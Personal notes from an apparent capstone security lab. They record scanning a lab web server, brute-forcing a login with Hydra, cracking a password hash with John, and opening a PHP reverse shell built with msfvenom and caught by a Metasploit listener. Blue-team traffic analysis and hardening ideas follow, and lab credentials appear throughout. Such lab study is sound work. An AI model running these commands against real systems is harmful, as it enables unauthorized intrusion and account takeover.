Notes

Setting up Beats on Capstone

This is done for logging that attacks before attacking

- ◦ Log into capstone - Vagrant:tnargav
    - ◦ Sudo su
    - ◦ Filebeat modules enable apace
    - ◦ Filebeat setup
    - ◦ Metricbeat modules enable apache
    - ◦ Metricbeat setup
    - ◦ Packetbeat setup
    - ◦ Systemctl restart filebeat
    - ◦ Systemctl restart metricbeat
    - ◦ Systemctl restart packetbeat

Attacking capstone from kali

- Determine capstone ip
    - ◦ Run ifconfig on kali to determine subnet
        - ◦ Kali IP | 192.168.1.90
    - ◦ Run nmap against 192.168.1.1/24
        - ◦ ◦ Nmap 192.168.1.0/24
        - ◦ Did not give enough information. Needed to run -sV to get more information
            - ◦ Nmap -sV 192.168.1.0/24
        - ◦ 192.168.1.100
            - ◦ Elastic Search | Ubuntu
        - ◦ 192.168.1.105
            - ◦ Apache | Ubuntu
        - ◦ Open http://192.168.1.105

- Run dirb against apache server
  - Dirb http://192.168.1.105
    - Returned
      - */server-status

Access Forbiden

- - - - - */webdav

Username:Password login

- Run Hydra against */company_folders_secret_folder - Find wordlists - Locate rockyou - Cd /usr/share/wordlists - Ls - Gunzip rockyou.txt.gz - Ls - To verify unzip - Hydra help to see options/flags - Ashton manages secret folder - Use username ashton - Hydra -l ashton -P rockyou.txt -s 80 -f -vV 192.168.1.105 http-get /company_folders/secret_folder - ashton:leopoldo - open connect to corp server - webdav - ryan's account - ryans hash - "d7dad0a5cd7c8376eeb50d69b3ccd352" - Echo d7dad0a5cd7c8376eeb50d69b3ccd352 > hash.txt - John hash.txt - John -show hash.txt - Ryan:linux4u
  - Upload reverse shell php
    - Msfvenom -p php/reverse_php LHOST=192.168.1.90 LPORT=4445 -f raw > exploit.php
  - Create listener
    - Msfconsole
      - Use exploit/multi/handler
      - Set LHOST 192.168.1.90
      - Set LPORT 4445
      - Set exploit php/reverse_php
    - Exploit
  - Cd /
  - Ls
  - Cat flag.txt

Part 3

Identifying offensive traffic

- When did the attack occur?
  - between 12am and 2 am UTC
- What response did the victim send back?
  - Http Code 401 (Unauthorized)
    - 522,611 hits
- What is concerning from the blue team perspective?
  - There are a lot of unauthorized login attempts.

Find the requests for the hidden directory

- How many requests were made to the directory?
  - 15,583
- Which files were requested?
  - connect_to_corp_server
- What kind of alarm would you set to detect this behavior in the future?
  - Alert if more than x amount of requests in x amount of time
- Identify at least one way to harden the vulnerable machine that would mitigate this request?
  - Don't list anywhere on the website the url

Identify the brute force attack

- Can you identify the packets specifically from hydra?
  - User_agent.original : Mozilla /4.0 (Hydra)
- How many requests were made in the brute force attack?
  - 15,574
- How many requests had the attacker made before discovering the correct password in this one?

- What kind of alarm would you set to detect this behavior in the future and at what threshold?
  - Too many failed logins attempted | 5 per minute
- Identify at least one way to harden the vulnerable machine that would mitigate this attack?
  - Use more secure passwords
  - Don't list usernames on the website
  - Don't allow more than 5 failed logins per minute
  - Lock out account for 10 minutes if exceeds allowable failed logins

Find the WebDav session

- How many requests were made to this directory?
  - 27
- Which files were requested?
  - Meta.php
- What kind of alarm would you set to detect this behavior in the future?
  - Create an alarm that would trigger anytime this directory is accessed by an unauthorized machine.
- Identify at least one way to harden the vulnerable machine that would mitigate this attack?
  - Connections to this folder should not be accessible from web interface
  - Access to this folder should be restricted by machine by firewall rules.

Identify reverse shell and meterpreter traffic

- Can you identify meterpreter session?
  - Yes by destination port 4444. 4444 is meterpreter default port
- What kind of alarm would you set to detect this behavior in the future?
  - Alarm for anything on port 4444
  - Alert for php uploads

- Identify at least one way to harden the vulnerable machine that would mitigate this attack?
  - Remove the ability to upload files

Revision #1
Created 2025-11-25 18:35:38 UTC by David Rizzo
Updated 2025-11-25 18:35:50 UTC by David Rizzo